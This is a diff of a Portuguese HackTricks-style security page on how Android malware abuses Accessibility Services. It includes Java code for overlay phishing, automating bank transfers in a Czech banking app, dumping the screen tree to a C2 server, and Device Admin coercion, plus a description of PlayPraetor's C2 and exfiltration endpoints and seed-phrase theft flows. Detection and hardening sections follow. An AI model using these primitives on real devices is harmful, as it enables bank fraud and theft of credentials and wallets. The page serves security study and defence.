encoding="utf-8"?> <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android" @@ -69,15 +69,15 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul } ``` Com apenas essas duas APIs, um atacante pode: -* Desbloquear a tela, abrir o aplicativo bancário, navegar na árvore da interface do usuário e enviar um formulário de transferência. -* Aceitar todos os diálogos de permissão que aparecem. -* Instalar/atualizar APKs extras via a intenção da Play Store. +* Desbloquear a tela, abrir o aplicativo bancário, navegar na sua árvore de UI e submeter um formulário de transferência. +* Aceitar todos os diálogos de permissão que surgirem. +* Instalar/atualizar APKs extras via intent do Play Store. --- ## Padrões de abuso -### 1. Phishing por sobreposição (Coleta de credenciais) +### 1. Overlay Phishing (Credential Harvesting) Um `WebView` transparente ou opaco é adicionado ao gerenciador de janelas: ```java WindowManager.LayoutParams lp = new WindowManager.LayoutParams( @@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real PixelFormat.TRANSLUCENT); wm.addView(phishingView, lp); ``` -A vítima digita credenciais no formulário falso enquanto o aplicativo em segundo plano recebe os mesmos gestos – nenhum prompt suspeito de "desenhar sobre outros aplicativos" é exibido. +A vítima digita credenciais no formulário falso enquanto o app em segundo plano recebe os mesmos gestos – nenhum prompt suspeito "draw over other apps" é exibido. -> Exemplo detalhado: a seção *Phishing de Sobreposição de Acessibilidade* na página de Tapjacking. +> Exemplo detalhado: a *Accessibility Overlay Phishing* section inside the Tapjacking page. -### 2. Automação de Fraude no Dispositivo -Famílias de malware como **PlayPraetor** mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (`init`, `update`, `alert_arr`, `report_list`, …). O serviço traduz esses comandos em gestos de baixo nível, alcançando transações não autorizadas em tempo real que facilmente contornam a autenticação multifatorial vinculada a esse dispositivo. +### 2. Automação de fraude no dispositivo +Famílias de malware como **PlayPraetor** mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (`init`, `update`, `alert_arr`, `report_list`, …). O serviço traduz esses comandos nos gestos de baixo nível acima, realizando transações não autorizadas em tempo real que contornam facilmente a autenticação multifator vinculada a esse mesmo dispositivo. -### 3. Streaming e Monitoramento de Tela -Ao combinar a **MediaProjection API** com uma biblioteca cliente RTMP, o RAT pode transmitir o framebuffer ao vivo para `rtmp://<c2>:1935/live/<device_id>`, dando ao adversário perfeita consciência situacional enquanto o mecanismo de Acessibilidade controla a interface. +### 3. Transmissão e monitoramento de tela +Ao combinar a **MediaProjection API** com uma biblioteca cliente RTMP, o RAT pode transmitir o framebuffer ao vivo para `rtmp://<c2>:1935/live/<device_id>`, dando ao adversário perfeita consciência situacional enquanto o engine Accessibility controla a UI. --- ## PlayPraetor – fluxo de comando e controle -1. **Heartbeat HTTP(S)** – iterar sobre uma lista codificada até que um domínio responda `POST /app/searchPackageName` com o C2 ativo. -2. **WebSocket (porta 8282)** – comandos JSON bidirecionais: -* `update` – enviar novas conf/APKs -* `alert_arr` – configurar modelos de sobreposição -* `report_list` – enviar lista de nomes de pacotes alvo -* `heartbeat_web` – manter ativo -3. **RTMP (porta 1935)** – streaming de tela/vídeo ao vivo. -4. **Exfiltração REST** – +1. **HTTP(S) heartbeat** – iterar sobre uma lista hard-coded até que um domínio responda `POST /app/searchPackageName` com o C2 ativo. +2. **WebSocket (port 8282)** – comandos JSON bidirecionais: +* `update` – push new conf/APKs +* `alert_arr` – configure overlay templates +* `report_list` – send list of targeted package names +* `heartbeat_web` – keep-alive +3. **RTMP (port 1935)** – transmissão ao vivo de tela/vídeo. +4. **REST exfiltration** – * `/app/saveDevice` (impressão digital) * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64` * `/app/saveCardPwd` (credenciais bancárias) -O **AccessibilityService** é o mecanismo local que transforma esses comandos em nuvem em interações físicas. +A **AccessibilityService** é o motor local que converte esses comandos da nuvem em interações físicas. --- ## Detectando serviços de acessibilidade maliciosos * `adb shell settings get secure enabled_accessibility_services` -* Configurações → Acessibilidade → *Serviços baixados* – procure por aplicativos que **não** são do Google Play. -* Soluções MDM / EMM podem impor `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear serviços instalados manualmente. -* Analise os serviços em execução: +* Settings → Accessibility → *Downloaded services* – procure por apps que **não** sejam do Google Play. +* Soluções MDM / EMM podem impor `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear serviços instalados por sideload. +* Analisar serviços em execução: ```bash adb shell dumpsys accessibility | grep "Accessibility Service" ``` --- -## Recomendações de fortalecimento para desenvolvedores de aplicativos +## Recomendações de endurecimento para desenvolvedores de apps -* Marque visualizações sensíveis com `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). -* Combine `setFilterTouchesWhenObscured(true)` com `FLAG_SECURE` para evitar sequestro de toque/sobreposição. -* Detecte sobreposições verificando `WindowManager.getDefaultDisplay().getFlags()` ou a API `ViewRootImpl`. -* Recuse operar quando `Settings.canDrawOverlays()` **ou** um serviço de Acessibilidade não confiável estiver ativo. +* Marque views sensíveis com `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+). +* Combine `setFilterTouchesWhenObscured(true)` com `FLAG_SECURE` para prevenir sequestro de toques/overlays. +* Detecte overlays consultando `WindowManager.getDefaultDisplay().getFlags()` ou a API `ViewRootImpl`. +* Recuse operar quando `Settings.canDrawOverlays()` **ou** um Accessibility service não confiável estiver ativo. --- -## Referências -* [A ameaça em evolução do PlayPraetor: Como atores de língua chinesa escalam globalmente um RAT Android](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) -* [Documentação de acessibilidade do Android – Automatizando a interação da UI](https://developer.android.com/guide/topics/ui/accessibility/service) +## ATS automation cheat-sheet (Accessibility-driven) +Malware pode automatizar totalmente um app bancário usando apenas Accessibility APIs. Primitivas genéricas: +```java +// Helpers inside your AccessibilityService +private List<AccessibilityNodeInfo> byText(String t){ +AccessibilityNodeInfo r = getRootInActiveWindow(); +return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); +} +private boolean clickText(String t){ +for (AccessibilityNodeInfo n: byText(t)){ +if (n.isClickable()) return n.performAction(ACTION_CLICK); +AccessibilityNodeInfo p = n.getParent(); +if (p != null) return p.performAction(ACTION_CLICK); +} +return false; +} +private void inputText(AccessibilityNodeInfo field, String text){ +Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); +field.performAction(ACTION_SET_TEXT, b); +} +private void tap(float x, float y){ +Path p = new Path(); p.moveTo(x,y); +dispatchGesture(new GestureDescription.Builder() +.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); +} +``` +Fluxo de exemplo (tcheco → rótulos em inglês): +- "Nová platba" (Novo pagamento) → clicar +- "Zadat platbu" (Inserir pagamento) → clicar +- "Nový příjemce" (Novo destinatário) → clicar +- "Domácí číslo účtu" (Número de conta doméstica) → focalizar e `ACTION_SET_TEXT` +- "Další" (Próximo) → clicar → … "Zaplatit" (Pagar) → clicar → inserir PIN + +Fallback: coordenadas fixas com `dispatchGesture` quando a busca por texto falha devido a widgets personalizados. + +Também observado: etapas prévias para `check_limit` e `limit` navegando até a interface de limites e aumentando os limites diários antes da transferência. + +## Pseudo-transmissão baseada em texto da tela +Para controle remoto de baixa latência, em vez de transmitir vídeo completo, extraia uma representação textual da árvore UI atual e envie-a repetidamente para o C2. +```java +private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){ +if (n==null) return; +Rect b = new Rect(); n.getBoundsInScreen(b); +CharSequence txt = n.getText(); CharSequence cls = n.getClassName(); +sb.append(indent).append("[").append(cls).append("] ") +.append(txt==null?"":txt).append(" ") +.append(b.toShortString()).append("\n"); +for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb); +} +``` +Isto é a base para comandos como `txt_screen` (one-shot) e `screen_live` (contínuo). + +## Device Admin coercion primitives +Uma vez que um receptor Device Admin esteja ativado, essas chamadas aumentam as oportunidades de capturar credenciais e manter o controle: +```java +DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); +ComponentName admin = new ComponentName(this, AdminReceiver.class); + +// 1) Immediate lock +dpm.lockNow(); + +// 2) Force credential change (expire current PIN/password) +dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android + +// 3) Disable biometric unlock to force PIN/pattern entry +int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT | +DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS; +dpm.setKeyguardDisabledFeatures(admin, flags); +``` +Nota: a disponibilidade exata dessas políticas varia conforme a versão do Android e o OEM; valide o papel de device policy (admin vs owner) durante os testes. + +## Crypto wallet seed-phrase extraction patterns +Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom: +- Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password. +- Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase. +- Coletar a frase via keylogging dos nós de texto, bypass de secure-screen, ou screenshot OCR quando o texto estiver obscured. +- Support multiple locales (EN/RU/CZ/SK) to stabilise selectors – prefer `viewIdResourceName` when available, fallback to multilingual text matching. + +## NFC-relay orchestration +Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps. + +Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay + +--- + +## References +* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat) +* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service) +* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats) +* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay) {{#include ../../banners/hacktricks-training.md}}